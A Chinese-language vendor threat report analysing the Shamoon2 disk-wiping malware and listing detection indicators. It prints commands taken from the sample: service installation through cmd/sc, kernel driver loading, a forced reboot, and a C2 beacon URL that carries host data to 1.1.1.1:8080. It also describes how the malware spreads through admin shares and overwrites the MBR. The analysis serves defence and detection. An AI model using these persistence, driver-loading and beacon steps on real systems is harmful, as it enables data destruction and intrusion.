Shamoon2恶意样本技术分析与检测防护方案

2016年11月,网上一系列与2012年Shamoon攻击活动类似的破坏性攻击行为被发现,随后便有文章表示一种新型的Disttrack 恶意样本被发现用于一种全新的攻击活动。该攻击活动的目标包括在特定时间清空一个沙特阿拉伯的机构的系统,此机构与早在2012年出现的Shamoon的攻击目标一致。

这一最新攻击被称为Shamoon2,有可能严重危害到虚拟桌面界面快照策略,此为对抗清除器(Wiper)的重要防护手段。攻击者可以利用之前Shamoon攻击中获得的信息来进入到组织内部的计算机内,随后通过内部域名与受感染PC的IP所在子网,继续感染其他远程主机,最后清空受感染的系统。由于该攻击的最终目的为清空受感染系统的数据,因此对受感染的用户危害极大。

相关链接:

http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/

传播与感染

样本可利用盗取的受攻击组织的证书进入到组织内部的计算机内。一台PC感染后,可通过内部域名和受感染PC的IP所在子网,继续感染其他远程主机。

样本分析

分析环境

系统 Windows 7, 64bit
使用工具 ProcessMonitor, Xuetr, Wireshark, OllyDBG, IDA, CuteFTP

文件结构

文件列表如下表所示:

样本为复合样本,几个样本文件所具有的共同特点包含:使用编译器相同,代码架构相似,对关键字符串都使用了加密算法,且加密算法相同。样本执行后,部分样本间具有依赖关系,从而联合完成功能。

样本能够完成文件生成、网络连接、自启动、硬盘清除等功能,功能的具体内容如下:

  • 文件更改:样本能够通过droper从网络下载文件或者解密自身资源段,释放可执行文件或驱动程序,其中关键的释放文件有以下几个:

C:\Windows\system32\ntssrvr64.exe

C:\Windows\System32\ntssrvr32.exe

C:\Windows\System32\Drivers\drdisk.sys

C:\Windows\System32\netinit.exe

样本连接CC Server:1.1.1.1:8080

  • 远程连接:样本能够远程登陆局域网内的其他主机,实现进一步的感染传播;
  • 持续攻击:样本通过创建服务的方式实现自启动,同时在注册表中修改服务的配置信息,使其看上去更真实;
  • 清除数据:样本在向发送HTTP请求时发送了主机自身的信息,当发送完成且各项设置完成后,样本会清除受害者机器的MBR区域,使其无法正常工作;
  • 更改系统时间:样本将系统日期更改为2012年8月随机的某天(这个日期可以根据获取到的配置文件进行更改),从而利用其过期的许可证。

各个模块间的依赖以及样本执行流程概要图如下图所示:

其他各组件的功能及代码说明如下所示。

Droper组件

394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b.bin

首先查看其资源文件,它包含PKCS7、PKCS12、X509三个资源文件,其中资源ID都为9217,表明其针对的对象或者程序编写者来自Arabic-Yemen.

样本完成参数判断,使用的关键字符串解密,服务创建,服务启动等功能。

连接局域网内的其他IP

试图连接局域网内(C网段)的其他PC及共享文件路径”ADMIN$”, “C$\WINDOWS”, “D$\WINDOWS “, “E$\WINDOWS”。

虽然样本为32位操作系统下的对应程序,但使用过程中,也会通过注册表查询,判断其架构是否为AMD64/amd64,如果是,则生成对应的可执行文件并创建服务。

样本具有反调试设置:

查找X509资源段信息并创建文件:

创建文件:C:\Windows\system32\ntssrvr64.exe

使用命令行模式启动服务:

001EF00C   001EF0B0  |CommandLine = "C:\Windows\System32\cmd.exe /c "ping -n 30 127.0.0.1 >nul && sc config NtsSrv binpath= "C:\Windows\system32\ntssrvr64.exe LocalService" && ping -n 10 127.0.0.1 >nul && sc start NtsSrv ""

当服务自身不存在时,创建服务,并更改服务描述为”Helps guard against time change attempts targeting”;查找注册表,删除添加服务的WOW64项:

登陆其他内网的PC,设置计划任务

通讯组件

61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842.bin

此组件负责网络通讯,其中配置的CC通讯地址为1.1.1.1:8080,此IP为特殊IP ,推测其功能为影响内网使用。

查找配置文件C:\Windows\inf\netimm173.pnf存在与否:

网络连接:

首先发送请求,如果没发送成功,则请求连接1.1.1.1:8080

请求的URL为特定形式的字符串组合,其中自负产“shinu”后面的值为PC的时间、本地IP地址、OS版本号、键盘布局以及配置文件netimm173.pnf等内容的加密信息,其具体的格式如下所示:

http://server/category/pagephp?shinu=GUxg8588lwVrRv8wadq7HLBsVhenQXo49YnJmbHZrUwYqCkIRVEA1FcshpyZ+ioPo43NlOkpfvvgxvK26ZZZoNsFkk19LotH

样本会循环进行http请求以及对CC地址的连接:

当连接成功时,可能的返回数据会生成文件\usbvideo324.pnf,结合后面的分析内容,此文件为设置系统时间的配置文件。

Wiper组件

128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd.bin

此组件完成擦除硬盘数据的功能。

结构与之前分析的文件具有相似的流程,首先解密出需要使用的字符串,部分关键字符串如下所示。

\Device\Harddisk
\Partition
dir %s /s /b /a:-D 2>nul  | findstr -i %s 2>nul >> %s
SystemBootDevice
FirmwareBootDevice
%s\System32\Drivers\%s
ASCII "shutdown -r -f -t 2
ASCII "sc stop 
ASCII " 2>&1 >nul
ASCII "sc delete 
ASCII "sc create 
ASCII "sc start 
ASCII " type= kernel start= demand binpath= System32\Drivers\
C:\Windows\System32\Drivers\drdisk.sys

创建驱动文件:C:\Windows\System32\Drivers\drdisk.sys

创建服务并使用sc启动

查询启动设备,从而获取分区信息:(路径HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control)

SystemBootDevice和FirmwareBootDevice两项

设置系统时间(2012年8月的某一天)

通过驱动模块的配合,使用程序自身所包含的资源对MBR启动区域的512byte进行覆盖,从而达到清除数据,使系统无法启动的目的。

除了配置为E(0x69)外,还可以配置为F(0x70)和R(0x82),分别使用不同的资源段进行MBR覆盖。

数据清除后,使用命令重新启动系统,具体的命令为解密字符串中包含的关闭指令:

shutdown -r -f -t 2

驱动模块

5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a.bin

此组件的主要功能是协同wiper组件工作,进行硬盘内容擦除。

此驱动文件是EldoS公司的商业软件驱动,提供了对文件、硬盘和分区的直接访问权限。

驱动文件,创建的设备名字为\Device\ElRawDisk;创建设备链接\DosDevices\ElRawDisk

当MBR区域覆盖完成后,系统不能读取硬盘信息,则IODeleteDevice routine给系统发送信息——设备已经移除,系统也无法再访问设备,最终导致设备不可见,即达到清除数据的目的。

启动方式

样本使用创建服务的方式使样本在主机重启之后自动执行394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b.bin实现。

服务名称:NtsSrv

路径:C:\Users\maria\Desktop\39.exe LocalService(源文件所在的位置 参数为LocalService,根据不同的环境以及不同的执行流程,可能文件路径不同,但是服务启动名称相同)

在注册表中项:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NtsSrv

检测与防护方法

  1. 用户自我检测与防护

查看以下文件是否存在:

C:\Windows\system32\ntssrvr64.exe

C:\Windows\System32\ntssrvr32.exe

C:\Windows\System32\Drivers\drdisk.sys

C:\Windows\System32\netinit.exe

C:\Windows\inf\netimm173.pnf;

C:\Windows\inf\usbvideo324.pnf

查看是否包含以下服务:

NtsSrv

注册表中的项为HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NtsSrv

发送的http请求,形如:

http://server/category/pagephp?shinu=;

使用TCP协议连接CC Server:1.1.1.1:8080

删除上述的文件,服务以及注册表项即可清除该恶意软件。

  1. 绿盟科技木马专杀解决方案
  • 短期服务:绿盟科技工程师现场木马后门清理服务(人工服务+IPS +TAC+终端防护(金山V8+))。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。
  • 中期服务:提供3-6个月的风险监控与巡检服务(IPS+TAC+人工服务)。长期对此恶意样本进行检测,保护客户系统安全。
  • 长期服务:基于行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务)

总结

此样本是针对特定物理位置的复合样本,且覆盖的平台包含windows的32位和64位操作系统;当特定组织的局域网用户中有一台机器感染了此样本,则样本通过窃取到的证书信息能够快速在局域网范围内传播,同时样本的恶意功能是清除数据,因此一旦受到感染,将具有非常大的影响

附录

Microsoft Locale ID Values: https://msdn.microsoft.com/enus/library/ms912047(WinEmbedded.10).aspx

其他参考链接:

http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/

http://vinransomware.com/blog/detailed-threat-analysis-of-shamoon-2-0-malware

https://securelist.com/files/2017/03/Report_Shamoon_StoneDrill_final.pdf

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880

Spread the word. Share this post!

Meet The Author

Leave Comment